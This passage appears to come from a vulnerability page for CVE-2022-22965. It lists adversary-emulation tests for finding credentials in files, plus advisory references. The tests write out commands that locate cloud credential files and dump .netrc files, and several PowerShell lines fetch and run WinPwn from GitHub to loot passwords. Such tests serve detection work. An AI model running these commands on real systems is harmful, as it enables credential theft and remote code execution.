ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (11)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-22965
tanzu.vmware.com
GitHub CVE x_refsource_MISC
https://tanzu.vmware.com/security/cve-2022-22965
tools.cisco.com
GitHub CVE vendor-advisory x_refsource_CISCO
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67
oracle.com
GitHub CVE x_refsource_MISC
https://www.oracle.com/security-alerts/cpuapr2022.html
psirt.global.sonicwall.com
GitHub CVE x_refsource_CONFIRM
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/166713/Spring4Shell-Code-Execution.html
cert-portal.siemens.com
GitHub CVE x_refsource_CONFIRM
https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf
oracle.com
GitHub CVE x_refsource_MISC
https://www.oracle.com/security-alerts/cpujul2022.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html
kb.cert.org
NVD API US Government Resource
https://www.kb.cert.org/vuls/id/970766
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22965